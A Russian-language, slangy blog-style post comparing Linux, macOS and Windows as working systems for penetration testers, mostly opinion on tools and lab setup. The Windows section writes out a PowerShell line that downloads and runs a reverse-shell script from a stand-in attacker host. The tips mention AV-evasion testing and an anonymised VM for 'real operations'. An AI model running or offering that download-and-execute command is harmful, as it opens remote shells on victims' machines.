На чем лучше работать хакеру? Linux, MacOS, Windows?

Здарова, братан. Снова этот вечный спор, да? Как будто мы выбираем не операционку, а калибр для первой встречи с админом. Windows, MacOS, Linux… Это не вопрос веры, это вопрос эффективности. Давай без фанатизма, по-стариковски, разложим по полкам. Для нас с тобой система — это не обои на рабочем столе, а продолжение рук и терминала.
Я — пентестер: смотрю на поле боя
Точка входа: Нам нужна система, которая не мешает, а помогает. Быстрая, гибкая, с нативным доступом ко всему арсеналу, который мы копили годами. Она не должна задавать тупых вопросов, требовать перезагрузки для установки nmap и падать в синий экран от нашего кастомного fuzzer’a.
Что бросилось в глаза: 99% хакерского софта написано под Linux. Рождено в нём. Всё остальное — это либо порт, либо эмуляция, либо какой-то костыль. Наша работа — ломать системы, а не бороться со своей собственной.

Возможные векторы (разбор по системам):

Linux: Наш дом, наша крепость
Что я вижу: Это родная стихия. Терминал, который понимает тебя с полуслова. Пакетные менеджеры, которые по щелчку пальцев ставят любой инструмент. Полный контроль над сетью, процессами, ядром. Никакой телеметрии, никаких сюрпризов от “центра обновлений”.
Как я думаю: Зачем мне прослойка, если я могу работать напрямую? Kali, Parrot, BlackArch — это не просто дистрибутивы. Это готовые, заточенные под нас боевые комплексы. Весь нужный софт уже на борту, настроен и готов к бою. Хочешь скомпилировать эксплойт из исходников? gcc exploit.c -o exploit. Хочешь просканировать сеть? sudo nmap -sS -A target.com. Всё нативно, всё под рукой. Пайпы (|) — это наша сила, позволяющая строить из простых утилит сложные конвейеры прямо в консоли.
Offensive-анализ:
• Плюсы: Максимальная производительность, полный контроль, доступ ко всему арсеналу “из коробки”, идеальная среда для скриптинга и автоматизации. Огромное комьюнити. Это стандарт де-факто в индустрии.
• Минусы: Может быть непривычен для тех, кто всю жизнь сидел на “форточках”. Иногда требует ручной настройки железа (драйверы Wi-Fi адаптеров, привет!).
• Команда-символ: apt update && apt full-upgrade -y && apt install -y build-essential git python3-pip nmap metasploit-framework — одной строкой ты готовишь к бою свежую систему.
Вердикт: Это основной боевой инструмент. Без вариантов. Либо на железе, либо в виртуалке, но он у тебя должен быть.

macOS: Стильный компромисс
Что я вижу: UNIX-подобная система (на ядре BSD) в красивой обертке. Хороший терминал (zsh по дефолту — уже плюс), под капотом много знакомого. Но это система для дизайнеров и менеджеров, которую мы приспособили под свои нужды.
Как я думаю: Это неплохой вариант для “гражданской” жизни. На маке удобно писать отчеты, сидеть в Zoom с заказчиком и при этом иметь под рукой вменяемый терминал. Через brew (Homebrew) можно поставить почти весь наш софт: brew install nmap john. Но всегда есть “но”. Некоторые инструменты требуют плясок с бубном, другие работают только в Docker-контейнере. Ты всегда будешь чувствовать, что это не родная среда. Это как говорить на иностранном языке, который ты знаешь в совершенстве — вроде всё можешь сказать, но думаешь-то всё равно на родном.
Offensive-анализ:
• Плюсы: Отличный UX, стабильность, долгое время работы от батареи. UNIX-основа. Хорош как “всё в одном”: и для работы, и для пентеста.
• Минусы: Цена. Закрытая экосистема. Не весь софт работает нативно. Ты не имеешь такого же тотального контроля, как в Linux.
• Команда-символ: brew install --cask wireshark && brew install aircrack-ng — ты можешь поставить инструменты, но путь немного другой, и не всё так просто, особенно с доступом к железу (например, для Wi-Fi атак).
Вердикт: Хороший daily driver для пентестера-консультанта. Но для серьезной атаки всё равно откроешь виртуалку с Kali.

Windows: В тылу врага
Что я вижу: Это наша главная цель. 90% корпоративных сетей — это Active Directory, Exchange, IIS. Это то, что мы ломаем.
Как я думаю: Использовать Windows как основную атакующую систему — это как идти на медведя с рогаткой. Да, есть WSL (Windows Subsystem for Linux), и он стал неплох. Да, есть PowerShell, который сам по себе мощнейший инструмент для атак на Windows. Но сама среда враждебна. Антивирусы (даже встроенный Defender) будут жрать твои payload’ы, фаервол будет мешать, а командная строка… ну, ты понял.
Offensive-анализ:
• Плюсы: Ты должен её знать как свои пять пальцев. Наличие Windows-машины (лучше в виртуалке) обязательно для компиляции Windows-эксплойтов, тестирования payload’ов (чтобы понять, палит ли их Defender), работы с AD-инструментами (Mimikatz, BloodHound и т.д.). PowerShell Remoting — наш ключ к империи.
• Минусы: Как атакующая платформа — медленная, неудобная, небезопасная для самого атакующего. WSL — это костыль, хоть и хороший.
• Команда-символ (PowerShell): IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-PowerShellTcp.ps1') — это язык, на котором мы говорим с целью, но не тот, на котором мы думаем.
Вердикт: Обязательный элемент в твоей лаборатории. Твой спарринг-партнер и манекен для отработки ударов. Но не твой верный меч.

Советы:
1. Идеальный сетап: Ноутбук с Linux (Arch/Debian + i3wm для ценителей) или macOS как основная система. На ней — несколько виртуальных машин в VirtualBox/VMware:
• Kali Linux: Основная атакующая машина. Всегда свежая, всегда готовая к бою.
• Windows 10/11 VM: Твоя “лаборатория”. Сюда ставишь софт для анализа малвари, компилируешь эксплойты под винду, тестируешь техники обхода AV.
• “Чистая” VM (любая ОС): Для анонимности. Без твоих аккаунтов, без истории. Используется для реальных операций через VPN/Tor.
2. WSL2 — не панацея. Да, он позволяет запускать линуксовые тулзы на винде. Удобно для быстрых проверок. Но как только дело доходит до низкоуровневой работы с сетью (raw sockets) или прямого доступа к железу (Wi-Fi адаптеры в режиме монитора, USB-устройства) — он пасует. Это не замена полноценной системе.
3. Думай как админ цели. Если ты ломаешь Windows-инфраструктуру, тебе нужно думать на PowerShell. Если ломаешь кучу веб-серверов на Linux, твой родной язык — bash. Твоя ОС должна облегчать тебе “переключение контекста”.
4. Кастомизируй под себя. Неважно, Kali или BlackArch. Выкини всё лишнее. Установи то, чем пользуешься каждый день. Напиши свои алиасы и скрипты. Твоя система должна быть продолжением твоего мозга.
5. Вывод прост, братан: Работай в Linux. Держи Windows в клетке (VM) для экспериментов. Используй macOS, если на отчетах для корпоратов ты зарабатываешь больше, чем на баунти. Инструмент должен быть острым, а не просто красивым.